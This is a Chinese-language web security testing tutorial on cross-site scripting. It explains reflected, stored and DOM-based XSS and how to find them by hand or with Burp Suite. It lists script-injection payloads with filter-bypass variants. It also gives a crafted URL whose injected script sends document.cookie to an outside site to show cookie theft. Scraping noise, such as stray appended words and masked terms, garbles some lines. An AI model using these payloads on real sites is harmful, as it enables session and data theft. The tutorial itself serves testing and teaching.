安全測試-跨站腳本***(xss)

跨站腳本簡稱XSS(cross sites script),是web安全裏比較重要也比較廣泛的一種安全漏洞。跨站腳本是指輸入惡意的代碼,若是程序沒有對輸入輸出進行驗證,則瀏覽器將會被***者控制。能夠獲得用戶cookie、系統、瀏覽器信息,保存型xss還能夠進行釣魚,以獲取更多的用戶信息。javascript


  最多見的測試跨站腳本的方法,輸入html


  <Script>alert(1)</script>java


  以及它的各類變體web


  <script>alert(1) </script>實體跨域


  %3Cscript%3Ealert(1)%3C/script%3E  URL編碼瀏覽器


  <scr<script>ipt>alert(1)<scr<script>ipt>安全


  <script x=1>alert(1)</script x=1> 還能夠這樣寫服務器


  或者<script>confirm(1)</script>cookie


  <javascript.:alert(1)>;等dom


  若是提交後,頁面彈出警告框,則該頁面存在xss漏洞


  *反射型xss


  通俗來說,即便輸入一段代碼,既能夠看到代碼實際的效果,而非原程序的效果


  如:一段代碼


  <html><body>


  <script>


  document.write(location.search);</script>//location.search返回url?開始的部分


  </body></html>


  當輸入如下url


  "http://127.0.0.1/attrck.html?search=222"


  頁面將顯示:?search=222 ;但url中若是輸入


  /?search=<Script>alert(1)</script>


  則頁面的實際代碼爲:


  document.write(?search=)<Script>alert(1)</script>;


  將彈出警告框,即代碼<Script>alert(1)</script>被執行了,而並不是頁面原來顯示?後字符串的效果


  可使用僞造後的url獲取用戶cookie


  如,在示例1中加入document.cookie=("name=123");,設置cookie,而後構造url以下,實現將localhost域的cookie傳遞到百度並進行搜索


  http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>


  由於cookie是禁止跨域訪問的,但僞造的url,瀏覽器會認爲是仍是localhost的域


  *保存型xss


  是指將惡意代碼保存到服務器,好比發佈一篇文章包含惡意代碼,其餘用戶瀏覽時將執行惡意腳本


  *基於dom的xss


  嚴格來講該xss也屬於反射性,本文的例子其實也是dom based,是指修改頁面的dom對象模型,從而達成***,好比頁面使用了document.write\document.writeln\innerhtml等dom方法有可能引發dom based xss


  查找xss漏洞通常使用手工輸入,須要考慮到輸入限制、過濾、長度限制等因素,所以須要設計各類不容的變體輸入,以達到測試效果,也可使用工具,好比burpsuite來獲取請求後手工修改請求參數,而後從新提交到瀏覽器來測試,由於xss並不限於可見的頁面輸入,還有多是隱藏表單域、get請求參數等。

相關文章
相關標籤/搜索